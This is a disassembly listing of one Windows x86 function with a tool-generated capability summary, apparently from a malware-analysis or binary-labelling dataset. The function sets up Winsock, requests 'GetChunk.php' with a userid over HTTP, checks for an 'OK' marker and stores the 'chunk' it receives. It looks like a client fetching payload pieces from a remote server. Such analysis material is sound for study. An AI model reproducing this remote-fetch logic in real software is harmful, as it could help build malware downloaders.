Function at 0x402e30
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.004177a0
push ebx
push esi
push edi
push 0xc
call fcn.0040420d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [esi], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], 0
call dword [sym.imp.WSOCK32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x402ea9
cmp dword [esi + 8], 0
mov dword [esi + 4], 0
je 0x402ea9
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
push 0x41f680
call fcn.00401ad0
push 0x41f690
mov ecx, esi
call fcn.00404030
mov ecx, esi
call fcn.004040d0
cmp eax, 0xffffffff
je 0x403100
test al, 0x10
jne 0x403100
push str.Connected__Receiving_data..
call fcn.00401ad0
add esp, 4
push 0x1000
push 0
push 0x424d08
call fcn.004053b0
add esp, 0xc
push 0x41f4b4
push 0x41f4cc
push str.GetChunk.php
push 0x41f4f0
push str.GET__s_s_userid_s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
push 0x424d08
call fcn.00403620
mov ecx, 0x424d08
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402f26
push 0
sub ecx, edx
push ecx
push 0x424d08
push dword [esi]
call dword [sym.imp.WSOCK32.dll_send]
nop
mov ecx, esi
call fcn.004040d0
test al, 2
jne 0x402f50
cmp eax, 0xffffffff
jne 0x402f40
push 0
push 0x1000
lea eax, [ebp - 0x1198]
push eax
push dword [esi]
call dword [sym.imp.WSOCK32.dll_recv]
mov ebx, eax
mov byte [ebp + ebx - 0x1198], 0
cmp ebx, 0xf
jl 0x4030f9
lea ecx, [ebp - 0x1198]
mov edx, str.HTTP_1.1_200_OK
mov edi, 0xb
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4030f9
add ecx, 4
add edx, 4
sub edi, 4
jae 0x402f90
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4030f9
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4030f9
lea ecx, [ebx - 4]
xor eax, eax
test ecx, ecx
jle 0x402ff3
cmp byte [ebp + eax - 0x1198], 0xd
jne 0x402fee
cmp byte [ebp + eax - 0x1197], 0xa
jne 0x402fee
cmp byte [ebp + eax - 0x1196], 0xd
jne 0x402fee
cmp byte [ebp + eax - 0x1195], 0xa
je 0x402ffd
inc eax
cmp eax, ecx
jl 0x402fc6
push 0x41f6e8
jmp 0x403105
lea eax, [ebp + eax - 0x1194]
test eax, eax
je 0x402ff3
cmp dword [eax], 0x4b4f5750
jne 0x4030e6
lea ecx, [ebp - 4]
add eax, 4
push ecx
push 0x41f67c
push eax
call fcn.00407f03
add esp, 0xc
test eax, eax
jne 0x403031
xor eax, eax
jmp 0x403081
push eax
call fcn.0040884c
add esp, 4
mov dword [0x422ce8], eax
lea eax, [ebp - 4]
push eax
push 0x41f33d
push 0
call fcn.00407f03
add esp, 0xc
test eax, eax
je 0x40302d
movups xmm0, xmmword [eax]
movups xmmword [0x422cec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [0x422cfc], xmm0
mov al, byte [eax + 0x18]
mov byte [0x422d04], al
mov eax, 0x422ce8
mov byte [0x422d05], 0
movups xmm1, xmmword [eax]
movups xmm0, xmmword [eax + 0x10]
movd eax, xmm1
movups xmmword [0x422cc8], xmm1
push eax
push 0x422ccc
push str.Got_chunk:__s___d_r_n
movups xmmword [0x422cd8], xmm0
call fcn.00401ad0
add esp, 0xc
push 0x422b60
call fcn.00407c8c
add esp, 4
push dword [esi]
call dword [sym.imp.WSOCK32.dll_closesocket]
push 0xc
push esi
mov dword [esi + 4], 0xffffffff
mov dword [esi], 0xffffffff
call fcn.0040423d
add esp, 8
mov eax, 0x422cc8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add eax, 4
push eax
push 0x41f700
call fcn.00401ad0
add esp, 8
jmp 0x40310d
push 0x41f6dc
jmp 0x403105
push 0x41f69c
call fcn.00401ad0
add esp, 4
push dword [esi]
call dword [sym.imp.WSOCK32.dll_closesocket]
push 0xc
push esi
mov dword [esi + 4], 0xffffffff
mov dword [esi], 0xffffffff
call fcn.0040423d
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret